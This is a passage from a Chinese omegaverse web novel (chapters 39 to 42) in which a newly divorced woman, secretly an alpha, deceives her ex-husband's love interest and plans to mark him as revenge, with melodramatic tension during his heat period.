如果时间允许的话他可以先试着跟她相处, 以感谢她之前当众为他解围为由温水煮青蛙, 一点一点让他们的关系变得亲近起来, 到那时候再提出这个要求才不那么冒昧, 且成功的几率也会比现在大得多。 可没有如果,他不确定自己那次之后还有没有机会再见到白琼, 也不确定自己能不能在短时间内找到一个不排斥的omega。 许多的不确定让沈霁这么做了,而很明显, 结果并不理想。 白琼似乎很尊重和维护自己的老板,他小看了顾厌迟的驭下之术, 也小看了白琼的人品。 但沈霁并不后悔,成不成功总得试试才知道。 时间一天一天地过, 沈霁每天都处于焦灼中,他一边等待着白琼的消息,希望她能够像上次在饭局时候那样对他生出恻隐之心再次对他伸出援手, 一边又在试着接触身边几个和他信息素排斥度不那么高的omega, 试图从他们之中找到可以帮他引导信息素,缓解热潮期的人。 可无一例外都失败了。 omega之间的信息素就算排斥度再低, 那也是处于排斥状态的,平时omega信息素溢出那么一点就能让别的omega感到不适, 严重的甚至可能受到刺激提前进入热潮期,他们在感知到对方的信息素时候不应激都算好了,怎么可能能像alpha那样帮对方缓解和度过热潮期? 只有白琼是特殊的。 在她身边他感到很安心,原本躁动紊乱的信息素也能少有的得到短暂的平息。 因此随着时间的流逝, 对于随时都有可能进入热潮期的沈霁而言白琼成为了他最后的救命稻草。 腺体的灼烧逐渐蔓延到了全身,加之比赛的迫近,身心与日俱增的压力几乎要把沈霁压垮。 而就在他快要崩溃的时候,一个陌生的电话打了过来。 这是他的私人号码,知道的人寥寥无几,哪怕是要和他合作的品牌方也不知道,想要联系他只能先找他的经纪人或者教练。 因此这个陌生的电话号码很有可能是来自白琼。 意识到这一点的沈霁心跳得厉害,他既害怕对面的人不是白琼,让他的希望落得一场空,又怕是白琼,她打过来只是为了拒绝他,那也绝望的无异于从天堂坠入地狱。 在听到手机那边传来的熟悉的声音时,沈霁紧张不安得不知道该如何组织话语。 就在他绞尽脑汁斟酌着要怎么开口的时候,对方说她答应了,还问了他的热潮期什么时候到。 沈霁怔在了原地,用力掐了自己一把,即使感到了真切的疼痛确定了这不是自己日有所思大白天出现的幻听,他也还是恍惚地忘了呼吸。 “沈霁?你有在听我说话吗?” 女人的声音很平和,不,是平静,如枯井一样的平静。 但沈霁莫名能从这股平静到没有起伏的声线下感到一种竭力压抑的扭曲的愤怒。 不过他没有细想和在意,此刻突然出现的白琼无异于救他出绝境的救世主,他的脑子被巨大的惊喜砸晕,生怕她会反悔忙不迭回答道:“在的,白小姐,我在听的。” 他的气息因为激动有些抖,本就清越的声音显出了一分别样的魅气。 那是从顾厌迟嘴里绝不可能发出的声音,他即使在被信息素引诱到意乱情迷的时候也顶多咬牙从喉咙和唇齿间溢出一点细碎的呻吟。 有点儿破碎,却没有沈霁这样……媚骨天成。 怪不得顾厌迟会喜欢他,这样一个男人,长成那样,似乎性别什么也都不重要了。 更何况现在他还分化成了omega。 所以顾厌迟才那么破防吧,原以为自己板上钉钉会分化成alpha,可以名正言顺和沈霁在一起了,结果因为自己的标记变成了omega。 白琼扯了扯嘴角,那边的男人声音轻柔,带着点儿小心翼翼的意味。 “白小姐,你说的是真的吗?你真的愿意……帮我吗?” “当然,只要你不介意。” 白琼道:“还是说你已经找到了比我更符合你要求的人,所以不需要我了?” “没有!我需要的!” 大约是觉得自己回答得这样急切和直白,他感到有些难为情,解释道:“我是说你能帮我的话真是太感谢了,真的,真的很谢谢你。” “没什么,举手之劳罢了,毕竟谁叫你是我老板的大学同学兼好友呢?要是他知道我帮了你肯定也会感到高兴,没准我还会因此托福升职加薪呢。” 沈霁听后一愣,所以说她不是单纯对他生出了恻隐之心想要帮他,而是在得知他和顾厌迟认识,以为他们关系很好才松口的? “怎么了,怎么又突然不说话了?啊我知道了,你是不是怕我把你之前说的话告诉他?你放心我什么都没说,况且那应该只是你的玩笑话吧,我也经常和我朋友开这种类似的玩笑,比如如果我是男的我一定娶了你,你要是男的我肯定嫁给你之类的,这很正常。” 隔着手机沈霁看不到白琼什么表情,但听她的语气似乎真的没有把他的话当真。 他张了张嘴想解释自己没有开玩笑,可又怕她会像上次那样再次被激怒,于是选择了闭嘴。 “对了,你还没告诉我你的热潮期是什么时候呢?上次看你很着急的样子,不出意外应该就在这几天吧。” 热潮期是很隐私的事情,倒不是什么封建思想,觉得这种事情难为情不好启齿,而是很容易被有心之人趁其不备找到下手的时机。 沈霁求人办事,对这一点并没有什么隐瞒,也就如实相告了。 “是的,不出意外明天就是我的热潮期。不过你明天不方便的话后天也行,我在很早之前身体就出现了分化迹象,所以对热潮期的承受程度要比普通的omega高,拖延一两天不成问题的。” 他嘴上这么说着,腺体却已经烫得不行了。 沈霁把手机拿远了点儿,微喘着气,将气息匀了匀,才装作语气平常的样子继续说道:“所以一切以你的时间来就好。” “呵。” 女人的轻笑从听筒传来,电流无法传递真实的气息,沈霁却莫名感到有气旋吹拂在耳畔,耳尖唰的一下就红了。 “沈先生你真善解人意,和你这样处处为别人着想的人相处一定很舒服,难怪我老板那么挑剔难搞的人都喜欢你……喜欢和你做朋友。” 白琼说到后面故意停顿了下,如果沈霁真的和顾厌迟之间有什么不可告人的关系的话,女人言语中那种微妙的嘲讽和恶意他一下子就能感知到。 偏偏他没有,所以这番话落在他耳朵里几乎可以算得上是直白的夸奖了。 于是沈霁的耳朵更红了,连脸也有了绯红蔓延的趋势。 “没有,我没有那么好,白小姐才是……” “别那么拘谨,你可以叫我白琼……” 她又在奇怪的地方停顿了下,笑了声,“毕竟我们马上就要成为互相释放信息素的关系了。” 互相释放信息素只有两种情况一种是压制与被压制,另一种则是标记和被标记。 简而言之就是同性相斥,异性吸引。 而从沈霁的视角来看他们虽然都是omega,但是少有的不会排斥。 那这个情况就有些类似于AO间的互相吸引。 在产生这种暧昧的联想后,本身在面对白琼时候就莫名有些紧张的沈霁更加羞赧了。 “白……白琼小姐。” 他实在没办法顺利的直呼白琼的名字,磕磕绊绊说出来后还是在后面加了个小姐的后缀。 即使这样一个简单的称呼也让沈霁差点儿咬到舌头。 “嗯?” 沈霁的耳朵因为这声语调上扬的鼻音弄得有点儿痒,他喉结滚了滚,捏着手机轻声道:“时间……你还没有告诉我你什么时间有空。” “时间啊,明天和后天我都行。不过如果你需要我的话,我现在就可以过来。” 白琼的声音像一缕轻柔的风,很轻很低,像不起眼的钩子,但仔细辨别会发现是一条带毒的蛇信。 “所以告诉我沈霁,你需要我吗?” 第40章 白琼从没想过自己会是一个这么雷厉风行的人, 上一秒才刚签署了离婚协议,下一秒就找上了别的男人。 可这并不是她心血来潮的报复,是在顾厌迟的书房找到了那份和梦中所看到的一模一样的离婚协议书后, 麻木地坐在沙发上想了一整天的结果。 她把一切纷乱如麻的思绪一条一条整理清楚, 心里的怒火和岌岌可危的一点侥幸在对抗着。 那时候白琼就在想, 只是一个离婚协议而已, 或许他是因为害怕被标记影响一辈子受控于她的信息素里才在冲动之下做出了这样的决定。 这很正常, 换位思考,这种事情放在自己身上, 哪怕是被自己喜欢的人标记,那种本能占据大脑之上的不受控感也还是会让人感到不安和忐忑, 更何况代入顾厌迟的视角来看自己还不算他喜欢的人,他排斥甚至厌恶自己, 想要尽早摆脱远离她也无可厚非。 但万一他不是这段时间才拟好的,而是在很早之前, 在结婚的时候就做好了离婚的准备呢? 那说明什么,不正说明沈霁和季青禾的话是真的了吗? 他有喜欢的人,还是个男人, 因为这段感情不被世俗所接受, 他没办法光明正大和自己喜欢的人在一起,所以觉得娶谁都无所谓, 在顾老爷子询问他的时候他才能这样爽快地答应。 如果是后者那种情况的话,那顾厌迟未免也太可恶, 太恶毒了。 什么都可以,包括对方不喜欢自己,乃至可能一辈子不喜欢自己白琼都能接受,唯独这一点。 她绝不接受这样的事实, 这样的欺骗。 她会报复他,会用比他对待自己更残忍百倍的方式报复他。 几乎不用如何去深思,白琼就想到了报复顾厌迟的方式—— 如果真的确定了顾厌迟喜欢的是男人,而且那个人还是沈霁的话,那她就让沈霁成为她的所有物。 不是爱上她,而是成为她的所有物。 这两者有着本质上的区别,一来白琼并不认为自己是什么人见人爱的万人迷,只要想就能让沈霁轻而易举拜倒在自己的石榴裙下,而且万一他也喜欢男人呢? 别的不论,他不找alpha而是想要找omega来帮自己将腺体淤积的信息素引导出来,以此度过热潮期就很奇怪。 同时她心理上也接受不了这个曾经和自己丈夫亲近过的男人移情别恋喜欢上自己,这太恶心了。 所以白琼第一时间就打消了这个念头。 但要让一个omega离不开自己,这就简单多了。 一个标记,或是一点信息素的引诱就够了。 这是一个可行性很高,成功率也同样很高的报复方式,尤其是在对方把她误认为是omega,对她毫无防备的情况下。 白琼要得手实在太轻松了。 白琼不觉得自己这样做有什么错,顾厌迟欺骗了她,沈霁知情,谁也不无辜。 他们两人不论有没有苟合过,光是存在在这个世界上就足够让她作呕了。 于是在从顾厌迟那里亲耳确认了这一事实,那点儿仅存的一丝侥幸因为对方杀人诛心的话语中荡然无存后,白琼毫不犹豫签下了离婚协议,然后立刻实施了自己的报复。 沈霁和她预想的一样,果然毫无防备的将自己的热潮期还有家庭住址告诉了她。 “……是的,我很需要你。不然我当初也不会失态到贸然向你提出这样的请求。” 沈霁的喉咙干涩,蝴蝶兰的气息让他的意识有些模糊,说话也变得开始暧昧含糊。 那种不甚清明的吐字反而像钩子一样让人心痒难耐。 “如果你能现在就来的话,我很感谢。” “好,我这就过来,在我来之前还请你稍微忍耐一下。” 她状似无意地提醒道:“你的呼吸有点乱了。” 也不等沈霁回应,极为干脆地挂断了电话。 白琼扯了下领口,露出一截线条漂亮的锁骨,白皙的皮肤下隐隐覆了一点儿薄红。 她面无表情地揉了揉耳朵,在心里暗骂了声男狐狸精。 …… 这边被骂了狐狸精的沈霁在听到白琼马上要过来的消息后赶紧将家里收拾了下,尽管他的家并不乱,甚至可以算得上干净整洁。 房屋的清洁是次要的,自身的清洁才是重中之重。 毕竟正如白琼所说,他们一会儿要进行的虽然不是AO之间那样亲密无间的标记,可信息素的释放本身就和坦诚相待没什么区别。 信息素顾名思义就是信息,每个人的信息素中不仅包含着不同的气息,还有属于个人的各种信息,比如情绪的变化,身体的情况,等等等等。 那是比经过一系列繁琐的机械检查得到的数据更加直观准确的,尤其是在契合度很高的AO之间。 虽然他和白琼都是omega,可他们并不排斥,不排斥就意味着在某种程度上他们也能做到像AO那样的互相吸引,那么也就是说理论上他们的信息素也可以交互,彼此的信息无所遁形的传递给对方。 想到这里沈霁不自觉摸了摸自己发烫的腺体,浴室里水汽氤氲,冷白的肌肤蒸腾出漂亮的绯色,蝴蝶兰的气息也浓得盖过了沐浴露的香气。 他用手抹掉镜子上的水汽,里面映照的男人色若海棠,乌黑的长发湿漉漉贴在脸颊,脖颈,一直蜷曲粘连在胸膛。 发丝之间的雪色若隐若现,好似一件刚烧出来的白瓷,细腻温润,完美无瑕。 沈霁并不喜欢自己过于昳丽的长相,但却不得不承认这的确是一张极为惹眼的好皮囊,只要见过他的至今都没有人会毫无印象。 对于容貌,他就像对自己的球技一样自信。 只是如果对象是白琼的话沈霁却不那么确定了,毕竟他们之前为数不多的两次见面,对方对他的态度不是不冷不淡就是不欢而散。 她不像其他人那样对自己感兴趣,至少对他的容貌并不感兴趣。 也是,每个人的审美不同,他再好看也不是万人迷,总会有人不喜欢他这款的。 沈霁想起了大学时候学校内部论坛有个校草评选,顾厌迟和他以绝对的优势碾压了其他人,居于第一第二。 两人的票数只有一票之差,他第二,顾厌迟第一。 他和顾厌迟长相不分伯仲,却是属于截然不同的两种类型,顾厌迟的五官要冷硬俊朗,而他则柔美的有些雌雄莫辨。 所以喜欢顾厌迟长相的一般都不喜欢他,反之同样如此。 说实话在女生眼中,也是顾厌迟这样的更符合他们的审美一些,白琼又在顾厌迟手下工作,先前因为他一句对方喜欢男人的“玩笑话”就那么生气,这里不光是她对她老板的维护,或许也存了一点别的原因。 比如……喜欢。 怪不得白琼对他无动于衷,原来顾厌迟才是她的理想型。 沈霁抿了抿嘴唇,心情由紧张变得烦躁起来。 但他还是仔仔细细掐着时间把自己洗了三遍,在洗完出来换好衣服后没多久,门铃响了。 沈霁的心跳随着门铃的响起漏跳了一拍,他深吸了一口气才走到了门前,不过他第一时间并没有开门,而是谨慎的透过猫眼查看了下外面。 他到底是个公众人物,之前在国外的时候有不少狂热粉跟踪尾随过他,甚至还有人登堂入室过。 好在门外来人的的确确是白琼。 今天白琼穿的比之前见的两次要休闲许多,一身白色运动服显得她本就高挑的身材更加优越,头发被高高扎成马尾,利落又干练。 很普通也很日常的装束,甚至连妆都没有画,素净的像白开水一样。 平心而论女人的长相并不出众,只能算清秀,可无论是这一次还是前两次,只要她出现在他的视野里,他就很难移开眼,也很难再注意到旁人。 但前两次沈霁对她仅限于礼貌且短暂的注视,并没有像这样近距离的,明目张胆的打量。 隔着猫眼,他所谓的礼貌所谓风度都没有维持的必要,他不用像之前那样克制的点到即止,视线不受控制地粘在了白琼身上。 尤其是白琼这一身打扮让沈霁有点幻视他们初见的时候,自己在球场上的样子。 这个相似点让沈霁有一种说不出的兴奋,以至于信息素溢出来都没有觉察。 只是他也没有放任自己看太久,毕竟让客人在外面一直等着很失礼。 大约一分钟,沈霁眨了眨眼睛,准备从猫眼上收回视线,而好巧不巧这时候门外的女人突然掀起眼皮看了过来。 漫不经心的一眼,吓得沈霁忘了呼吸。 好在下一秒她便垂下了眼帘。 应该是意外,要是她发现自己在看她不可能是这样一副毫无所察的反应。 沈霁对自己刚才近乎痴汉的行为感到颇为羞恼,他咬着嘴唇,把情绪平复好后打开了门。 “白琼小姐,不好意思让久等了。” 他声音温和,面上也一如既往的光鲜亮丽,没有一点被热潮期影响的狼狈。 随着门被打开的瞬间,浅淡的沐浴香气飘了过来,还有一点轻微的沐浴过后的湿气。 而更多的,存在感更强的是信息素的味道。 白琼余光瞥了一眼他放在门把上的手,紧握着,手背青筋凸起。 从刚才他从猫眼把目光投放在她身上的第一时间她就觉察到了,那种灼热直白的凝视感她曾在处于热潮期的顾厌迟身上体会过。 她忍住那种被窥探的恶心,装作对一切都不知情,朝着男人缓缓勾起一抹笑容。 “没有的事,我也才刚来。倒是你久等了才是,我住的地方离你这里有些远,来的时候又去了一趟民政局,所以耽搁了点时间。” 沈霁倒是没觉得等了有多久,因为他全程都很紧张,也很忙,忙着收拾房间忙着清洗自己,忙着准备待客的水果和点心,中途还去附近超市买了点食材,等到反应过来的时候发现已经到了傍晚。 从白琼答应过来到现在足足过了快六个小时,的确有点久了。 “民政局?你去那里做什么?” 他下意识把心里话问了出来,随即又觉得这样有些不礼貌,忙道:“抱歉,我随口一问,你不方便的话可以不说,我没有想要打探你私事的想法。” 白琼深深看了他一眼,走近了一步,从门外跨了进去。 明明只是一个平平无奇的动作,沈霁却莫名有一种自己领地被瞬间侵占的既视感。 他不自觉屏住了呼吸,生怕自己动静大一点会惹她不快。 白琼扫视了一圈屋子,光洁到可以照人的地板,清新干净的空气,还有眼前男人一看就清洗打扮过的样子,这一切都让她感到满意。 比起脾气比茅坑里的石头还硬还臭的顾厌迟,沈霁哪儿哪儿都让白琼舒心。 以至于她都有些不忍心报复他了呢。 女人的目光太具侵略性,沈霁有些不敢和她直视。 “白琼小姐?” 白琼“嗯”了下算是回应,她没有把视线移开,风轻云淡地回道:“没什么,就是去民政局离了婚而已。”【】 40-50 第41章 托如今进化热潮的福, 现在离婚没有所谓的离婚冷静期,因为一大堆的夫妻的性别从原本的男女,变成了AA, OO, BB。 有的夫妻有了孩子, 又或者本身感情深厚到可以接受从一开始的异性恋变成“同性恋”, 选择继续维持这段婚姻, 但大多数在信息素的影响下,尤其是在遭受过热潮期的折磨后不得已选择了和平分手。 因此这段时间民政局离婚的夫妻络绎不绝, 好在白琼早在之前就进行了预约,想着如果顾厌迟真的喜欢男的那她就立刻离婚, 要是不是就不去,毕竟自己现在是alpha了, 这一次即使顾厌迟再冷心冷情也很难真的对她无动于衷。 然而事实就是这样残酷。 “什么?!” 沈霁的反应很大,声音也拔高了不少, 把白琼都吓了一跳。 白琼歪了下头,“怎么?我离婚是什么很惊讶的事情吗,再说了最近不是人尽皆知的离婚热吗?” “不是, 我只是……只是没想到你竟然已经结婚了。” 沈霁顿了顿, 没有再继续说下去了,但白琼看出了他的欲言又止。 “我知道我离婚的时间很容易让人多想, 但你别误会,我不是因为想要帮你缓解热潮期才和他离婚的, 我们两个一开始就不合适,只是我一厢情愿强求的而已,现在这个结果对于我们两个来说都好。” 沈霁脸一下子红了,尴尬又羞赧, 磕绊解释道:“没有,我没有自恋到以为你是为了我……” 对上女人似笑非笑的眉眼,他怎么也说不下去了。 他没再就着这个事情解释,但他的心里却在意得不行。 为什么非要选在这个时候离婚?为什么要特意告诉他?既然一开始这段婚姻就是强求的,那说明她是真的很喜欢对方才是,可为什么最后又这样放弃了这段好不容易得来的姻缘? 太多的为什么的背后不是沈霁真的有多爱刨根问底,有多八卦好奇,他只是单纯想要多了解一下眼前的女人而已。 他们认识的时间太短,以至于沈霁除了她的名字之外对她的一切都一无所知。 而就是在这样浅薄的了解中,他却厚着脸皮这样冒昧地找上她并寻求对方的帮助,她心地善良没有因为感到被冒犯而生气,甚至答应了他,可他不能这样厚脸皮的觉得对方所做的一切都理所当然。 他想要报答她,所以想要了解她。 了解她的喜恶,了解她……现在的想法。 “……抱歉,我可以冒昧多问一句吗?” 沈霁抿着嘴唇,轻声询问:“你和你的丈夫离婚是因为他也分化成了omega吗?” 白琼的语气意味深长,“你猜的没错,他的确分化成了omega。” 她没有说谎,但也没有过多说明,这番话落在沈霁耳朵里自然而然就理解为两人和其他同时分化成一个性别的夫妻分手的原因一样,都是受制于信息素的排斥和热潮期的困扰。 而这些分手的原因里没有一个是因为感情破裂。 所以……她还是深爱着她的丈夫的吧。 沈霁嗫嚅着嘴唇,想要问她这样真的好吗? 帮他做这种事情真的好吗?她不在意她丈夫会怎么想吗,她……也不在意吗? 即使是前夫,她只要还对他有那么一点感情,就不担心做了这种事情之后很难再复合了吗? OO之间虽然不存在标记和被标记的关系,但信息素不排斥的情况下的接触本质上和亲密关系没什么不同,甚至可以当成临时标记。 可最后沈霁什么也没问,因为问出来了不光对方很尴尬为难,更重要的是万一自己戳破了这一点后她后悔了呢。 说沈霁自私也好,还是隐藏着自己也不知道的私心也罢,白琼是不是睁一只眼闭一只眼他不清楚,但他打算装糊涂,装作完全没有想到这一层上来。 于是他很快收敛了情绪,柔声安抚道:“这是没办法左右的事情,毕竟在大多数人看来omega和omega的结合就和同性恋一样,这不仅是心理上不能接受,还有生理上的,信息素的排斥是很痛苦的事情,尤其是对于生活在同一屋檐下的人来说。” “是啊,这的确是没办法的事,所以我没怪他,也尊重了他的性取向,最终选择了离婚给他自由。” 两人说的并不是一回事,可仔细来看却似乎又是一回事。 沈霁以为白琼和顾厌迟是因为都分化成了omega才分的手,而本质上他们也的确是因为性取向不同而终结的这段婚姻。 只是顾厌迟不是异性恋而是同性恋而已。 也不知道是自己出离愤怒后反而麻木冷静了,还是自己的承受能力过于良好了,除了在亲耳听到顾厌迟承认自己喜欢的是男人的时候她很生气外,如今在面对眼前这个顾厌迟的心上人的时候,她心里竟然一丝一毫的波澜都没有。 她只觉得讽刺。 “不过我有些好奇,你说这番话只是出于安慰我,还是也对同性恋这种事情颇有微词?” 白琼走近了一步,这个动作很具有侵略性,不光打破了两人原本的安全距离,还让本就因为临近特殊时期不大能控制好信息素的沈霁又紧张了一分。 蝴蝶兰的香气萦绕在白琼鼻翼之间,她轻嗅了下。 这个动作不明显,却也没刻意隐藏。 沈霁注意到了,喉结滚了滚,呼吸也跟着乱了。 以至于他差点没听清她接下来的话—— “你很讨厌同性恋吗?” “啊?我,我吗?” 作为曾经被顾厌迟给恶心到了的人,沈霁的答案自然是肯定的,可他不能这样回答。 白琼对她的老板很明显是很尊重和维护的,他要是说讨厌不就等于直白告诉她自己很讨厌顾厌迟吗,虽然事实的确如此,可白琼会不高兴吧。 于是沈霁强忍着反胃,垂眸违心道:“我其实还好,只要是真心相爱的,性取向如何并不重要。” “这样啊……” 白琼:“那如果有男人喜欢你呢?或者是有omega喜欢你呢?你会接受吗?” 沈霁微皱了下眉,对于女人的刨根问底以及这个问题感到不解和排斥。 “抱歉,我就是随口一问,你不想回答可以不用回答的。” 她一顿,语气峰回路转地变得有些低落,“我也不知道为什么,我觉得你大约能理解我,毕竟你们都是男人,也都是omega。” “我在因为性取向的问题和丈夫离婚的时候,不,现在应该是我的前夫了,我当时在想,是什么性别真的有那么重要吗?如果是我的话我不会因为对方是什么性别才决定喜欢对方,而是我喜欢的人他是什么性别我都能接受。只要我喜欢哪怕他是alpha,beta,还是……omega。” “说者无心”,听者有意。 沈霁喉结耸动的频率更高了,除了热潮期,即使在一天连续打三场比赛,运动强度拉满的情况下他也从未有过这样口干舌燥的时候。 “你怎么了?很热吗?还是你的热潮期提前了?” 白琼担忧地伸手,手背轻贴上沈霁的额头,蝴蝶兰信息素见缝插针,贪婪地覆了过来。 她一愣,沈霁意识到自己做了什么后羞恼的恨不得找个地缝钻进去。 “不,不是的,我不是有意冒犯你,是我的信息素,你之前就有说过你是我少有不会排斥的omega,所以它才会这样,对不起,我,我马上把它收回来。” 只是人越着急的时候反而很难把事情做好,沈霁努力尝试了好几次,信息素只是减少了些,但却依旧死死缠在白琼手腕。 眼看着沈霁急得额头都沁出薄汗了,白琼似发现了什么有趣的事情,有些愉悦地轻勾了下唇角。 “没关系,不用那么紧张,就让它继续这样释放吧,本身我来这里就是为了帮你做这种事情的。” 白琼的手也这样放在他的额头,感受着那滚烫湿热的温度,以及越缠越紧,越来越浓的信息素。 要是换作一个多月前,面对这样一张脸,这样的信息素,她根本无法做到现在这般坐怀不乱。 白琼想大概是因为她之前标记过顾厌迟,对omega的抵抗力没有那么弱了,不过更重要的一点是因为她完成了进化,彻底分化成了alpha。 而且她似乎很强。 苏芸女士说越早出现热潮的人信息素越强,顾厌迟在五年前就进入了分化阶段,可她却能轻而易举压制住他的热潮期,那她的等级应该在他之上。 孰强孰弱这种事情白琼没有多在意,但苏芸女士提醒了她一点——自己喜欢上顾厌迟的契机。 日久生情有,不过更多的是因为信息素。 在高中时候白琼突然有一天从顾厌迟身上闻到了一股好闻的香气,也是自那以后她开始不受控制被他吸引,然后不可自拔爱上了他。 说实话成为alpha后,白琼自己也不清楚自己到底是喜欢顾厌迟这个人还是喜欢上了他的信息素。 白琼希望是后者,这样她就能很快从这段她一厢情愿的感情中彻底抽离,可理智上她又希望是前者,因为比起被激素影响生出虚假的爱恋来,她更想要自己从始至终清醒地爱着对方。 但现在看来好像有了第三种可能。 她或许天生就是一个见色起意的混蛋,只是阈值比较高而已。 她以前喜欢顾厌迟只是因为周围只有他一个人能入得了自己的眼,现在又多了一个。 白琼其实从见到沈霁的第一眼就觉得他很好看,好看到必须告诫自己是有夫之妻才能勉强压下心头的悸动。 如今她没有什么道德束缚了,反而能心平气和地欣赏起这张漂亮的脸蛋了。 白琼感受到沈霁没有再刻意收敛信息素了,语气鼓励道:“你可以继续肆无忌惮都释放,不要担心失控,我会拉住你的。” 沈霁这次没有听从她的话,摇头,咬着嘴唇道:“我不能这么做,这样会影响到你的。” 他还没有那么自私,他只想要白琼帮他将过多的信息素引导释放出来,而不是想要让对方被影响,承担他热潮期的痛苦。 可一直压抑着的信息素一旦溢出就很难控制,原本还尚且能够忍耐两天才开始的热潮此刻隐隐有了发作的趋势。 沈霁的嘴唇被咬破沁出一排血珠,他怕自己失控往后想要和她拉开距离。 “我,我先回房间冷静下,我如果失控了麻烦你立刻离开。” 他话音刚落,还没来得及抬脚,便被一缕清甜的气息死死钉在了原地。 琼花的气息不强烈,强烈的是来自alpha的压迫和侵略性。 沈霁如同一只被死死掐住后颈的猫,不仅无法动弹,连声音也发不出。 他难以置信地瞪大眼睛,身体颤抖着,如何抑制也无法停下。 白琼抬手将他垂落在面颊的长发别在耳后,不知何时通红的耳尖因为这个动作全然暴露在了空气中。 “骗子。说什么性取向如何并不重要,可是不重要的话,沈霁,为什么你的身体,你的信息素,会因为渴求我而兴奋到颤抖?” 第42章 白琼的信息素和她本人给人的感觉完全不同, 琼花的气息本该是清甜温和的,和身为omega的沈霁比起来都要浅淡几分,可因为她是alpha, 那信息素就如山倒海一样, 只稍微释放出一点就让他无法招架。 又或许是因为他本身就濒临热潮期, 比以往任何时候都要敏感, 易受到刺激。 但唯一可以确认的是白琼很强, 信息素很强,等级也很强。 沈霁并不是普通的omega, 他属于第一批步入分化阶段的omega,他的信息素强度和浓度都要远高于现阶段才开始分化的omega。 因此大多数的alpha的信息素对他的影响虽有, 却还不至于到如今这种完全受制于人的程度。 也就是说白琼也和他一样,是在很久之前就有了分化迹象, 出现热潮期的人。 意识到这里沈霁面露愠怒,那张漂亮到不似真人的脸由于这点儿情绪生出了几分人气, 变得更加生动俊美。 “看来你发现了。” 白琼知道这件事瞒不住,也没想过隐瞒,一旦她释放出信息素对方立刻能感知到, 只是她意外于对方的反应会这么大。 “你为什么这么生气?我还以为比起这种我是多久开始分化的无聊的事情, 你会更生气我欺骗了你是omega的事情。” 白琼摇了摇头,又否定道:“不对, 不是我欺骗你,自始至终我从没有说过自己是alpha, 是你单方面认定我是omega。不过这并不是你有什么性别认知障碍,我来见你的时候刚帮我前夫做了标记,身上沾染上了omega的信息素,你会误会也正常。” 沈霁红着眼眶瞪着她, 艰难开口控诉:“你,骗我。” “你非要这么说我也没办法,毕竟我也的确没有在你误会我是omega后做出任何的解释。” 沈霁咬紧牙关,信息素几番压制后还是没出息的往外溢出,往白琼所在的方向钻。 他很少有这样生气的时候,不单单是白琼装成omega欺骗了他,更因为她早在很久之前就进入了分化,作为同样早早就饱受热潮期折磨的人,她明知道他如今的情况有多糟糕,热潮来临的时候有多么痛苦,却选择什么也不说。 甚至还故意卡在最后时刻松口过来,说什么帮他。 这到底是帮他,还是特意过来看他笑话? 沈霁想不明白白琼为什么要这么做,自己和她无冤无仇,之前她还主动帮他解过围, 现在却要用这样恶劣的方式来羞辱他。 “你是不是在想我为什么要这么做?” 沈霁下颌紧绷着,他感到女人在有意收敛信息素,他稍微能动了,说话也没那么困难了。 但现在这种情况下,被信息素刺激到随时都会让热潮期提前的情况下,他实在没办法保证自己可以清醒的,不发出任何不体面的声音和对方对话。 于是沈霁只直勾勾带着怒气瞪着她,什么也不说,但又似乎什么都说了。 嗯,总之就是骂的很脏的样子。 白琼没有回避他的眼睛,神色坦荡,仿佛欺骗了沈霁,让他此刻骑虎难下的人不是她似的。 她不光看,还用信息素若有似无的在他腺体周围游走。 沈霁憋红着一张脸,“无耻!” 这两个字气沉丹田,字正腔圆,除却尾音有点儿抖之外并没有发出任何不雅的声音。 “嗯,我的确无耻。” 白琼承认得很干脆,反倒把沈霁整不会了。 他一噎,一方面很生气,一方面又不敢放任自己太生气,情绪波动太大会让本就不怎么受控的信息素更加失控。 要是眼前的女人是omega也就算了,大不了互相影响到进入热潮期,可白琼是个alpha,一A一O共处一室,后者还处于极度需要安抚的状态下,会发生什么不言而喻。 而白琼又是他自己上赶着求着让她过来的,事后也没办法追究什么。 他真是搬起石头砸自己的脚。 唯一幸运的是白琼对omega的抵抗力远超于现阶段进入分化的alpha。 所以沈霁目前能做的就是尽量保持清醒,然后想办法说服白琼离开。 沈霁竭力收敛情绪,用还算平和的语气问道:“……是我有什么地方得罪了你吗?因为我说了你老板坏话,还是因为你的朋友……我上次坏了你朋友的兴致,所以你想要替她教训我?” 这是他能想到的唯二的理由了。 然而白琼否定了。 “那是为什么?” 白琼目光沉沉,眼前这张以前在梦里反复出现,她追逐着却总是雾里开花的模糊面容此刻是那么的清晰。 这就是顾厌迟喜欢的人,让自己的感情成为一场笑话的人。 他什么也不知道,不知道她是顾厌迟的妻子,不知道自己平静的面容下藏匿着对他的憎恶和排斥。 可就是他这副无辜的样子才让白琼越发火大。 “因为我刚离了婚,心情不好。” 沈霁原以为就听到什么他不知道的隐情或苦衷,比如她的热潮期也要来了之类的,没想到是这种原因。 “你这家伙……” “我想要报复他,想要让他知道我不是非他不可——我很想要这样帅气地说出这种话来,可我骗得了别人却骗不了我自己。因为我的心还无可救药地喜欢他。我也不信他真的对我毫无感情。” 白琼直接打断了沈霁,一口气将自己来之前打好的腹稿说了出来。 “我知道你为什么不愿意找alpha,你是怕他们缠着你不放,用信息素拿捏你控制你对吧。你放心,我不会,一方面我对omega的抵抗力比大多数alpha要强,另一方面是我对我前夫余情未了。所以你要不要和我试试?我帮你标记,你假装我的男友帮我刺激刺激他?” 话音刚落,空气一下子安静了下来。沈霁的神情从原本的愤怒变成了欲言又止的沉默。 竟然是因为这种理由。 他一时之间很想要吐槽,又不知道从哪里吐槽。 “你想利用我刺激他,然后和他复合?” 白琼点头。 “那也就是说你和你前夫并不是因为分化成了同样的性别才离婚的?” 不然的话就算复婚也毫无意义。 白琼扯了下嘴角,自嘲道:“我不是已经说了吗,他不喜欢我。” 对于女人的话沈霁半信半疑,说她说谎吧她没必要编这种谎话来骗标记,直接上就行了,反正是他自己引狼入室,事后追究起来他也讨不到一点好,说她没骗人吧,她既然那么喜欢她丈夫,干嘛还离婚?现在又要想方设法复婚,这不莫名其妙吗? 沈霁无法理解白琼的脑回路,更对白琼所说的不会用标记左右自己事情保持怀疑。 有句话怎么说来着,男人的嘴,骗人的鬼,如今套在alpha身上也同样适合。 白琼知道这理由站不住脚,可她的目的也不是真的让他相信自己这番说辞。 她的目的只是让对方松口让自己标记而已。 她不会用标记去影响他,在标记顾厌迟的那段时间里白琼发现了一件事,自己的信息素和别的alpha的信息素不大一样。 大多时候omega在感知到alpha信息素的时候并不会有太大反应,除了热潮期外,而她却并不是这样。 omega很难抵抗自己的信息素,顾厌迟就是一个活生生的例子。 